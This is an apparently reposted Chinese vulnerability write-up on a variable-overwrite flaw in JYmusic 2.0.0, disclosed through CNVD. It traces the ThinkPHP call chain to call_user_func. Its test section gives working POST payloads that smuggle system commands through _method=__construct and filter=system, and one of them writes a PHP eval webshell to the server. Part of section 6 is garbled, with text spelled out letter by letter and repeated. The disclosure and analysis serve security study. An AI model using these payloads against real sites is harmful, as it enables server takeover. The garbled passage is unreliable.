天天看點

JYmusic-2.0.0變量覆寫漏洞導緻getshell目錄

JYmusic-2.0.0變量覆寫漏洞導緻getshell

  • 目錄
    • 一、漏洞分析
    • 二、 漏洞測試

目錄

測試環境:windows + php5.4.45 + apache2(phpStudy內建環境)

使用工具:BurpSuite、 PhpStorm

漏洞描述:變量覆寫,導緻可傳入系統指令進行執行,通過系統指令可寫入shell。

漏洞挖掘後送出了CNVD,在CNVD公示後,才發表本文。

CNVD-ID: CNVD-2019-06251

一、漏洞分析

通過危險函數反追蹤找到漏洞。

  1. 危險函數

    /core/library/think/Request.php類中的filterValue函數中,使用了call_user_func函數。

    JYmusic-2.0.0變量覆寫漏洞導緻getshell目錄
    通過構造使得$filter=system, $value=dir ,通過call_user_func函數即可執行系統指令” dir ”。
  2. array_walk_recursive函數

    /core/library/think/Request.php類中的input函數裡調用了通過array_walk_recursive函數調用了filterValue函數。array_walk_recursive() 函數對數組中的每個元素應用使用者自定義函數。

    JYmusic-2.0.0變量覆寫漏洞導緻getshell目錄
    JYmusic-2.0.0變量覆寫漏洞導緻getshell目錄
  3. input函數

    /core/library/think/Request.php中的param函數調用了input函數。

    JYmusic-2.0.0變量覆寫漏洞導緻getshell目錄
    JYmusic-2.0.0變量覆寫漏洞導緻getshell目錄
  4. exec 函數

    /core/library/think/App.php類中的exec 函數通過Request::instance()->param()調用了param函數。

    JYmusic-2.0.0變量覆寫漏洞導緻getshell目錄
  5. run函數

    /core/library/think/App.php類中的run函數則調用了exec函數

    JYmusic-2.0.0變量覆寫漏洞導緻getshell目錄
    傳入的 d i s p a t c h 和 dispatch和 dispatch和config兩個參數分别來自于/core/library/think/App.php類中run函數裡的:
    JYmusic-2.0.0變量覆寫漏洞導緻getshell目錄
    JYmusic-2.0.0變量覆寫漏洞導緻getshell目錄
  6. 變量覆寫

    /core/library/think/App.php類中run函數裡,擷取 d i s p a t c h 變 量 值 時 調 用 了 r o u t e C h e c k 函 數 。 r o u t e C h e c k 函 數 中 則 通 過 R o u t e : : c h e k c 調 用 了 c h e c k 函 數 。 / c o r e / l i b r a r y / t h i n k / R o u t e . p h p 類 中 , c h e c k 函 數 通 過 dispatch變量值時調用了routeCheck函數。 routeCheck函數中則通過Route::chekc調用了check函數。 /core/library/think/Route.php類中,check函數通過 dispatch變量值時調用了routeCheck函數。routeCheck函數中則通過Route::chekc調用了check函數。/core/library/think/Route.php類中,check函數通過request->method()調用了method函數。

    /core/library/think/Request.php類中,通過post參數_method=__construct調用構造函數:

    JYmusic-2.0.0變量覆寫漏洞導緻getshell目錄
    在構造函數裡用filter=system覆寫類中的filter變量。
    JYmusic-2.0.0變量覆寫漏洞導緻getshell目錄
    post參數 method=GET 就是要再次調用method函數,并且使得if(true===$method)為真,進而擷取 _SERVER[REQUEST_METHOD]=dir 這個參數值。
    JYmusic-2.0.0變量覆寫漏洞導緻getshell目錄
  7. 調用入口

    /core/library/think/App.php類中的run函數,則是在index.php入口函數中調用。

二、 漏洞測試

  1. 攔截首頁請求,Change request method修改請求方式為POST
  2. 參數:
    JYmusic-2.0.0變量覆寫漏洞導緻getshell目錄

    POST的參數的作用已在漏洞分析環節分析。

    filter=system&_SERVER[REQUEST_METHOD]=dir&_method=__construct&method=GET

    POST參數後不能有\r\n回車換行,如果有就不能成功執行。

    POST /captcha HTTP/1.1 //請求一個驗證碼,引導程式的運作步驟。

  3. 寫入shell
    JYmusic-2.0.0變量覆寫漏洞導緻getshell目錄
    filter=system&_SERVER[REQUEST_METHOD]=echo “<?php @eval($_GET["test"]) ?>” >test.php&_method=__construct&method=GET
  4. phpinfo()
    JYmusic-2.0.0變量覆寫漏洞導緻getshell目錄
    /test.php?test=phpinfo(); //末尾一定要跟一個“分号” “ ; ” ,如果沒有則不能成功執行。

繼續閱讀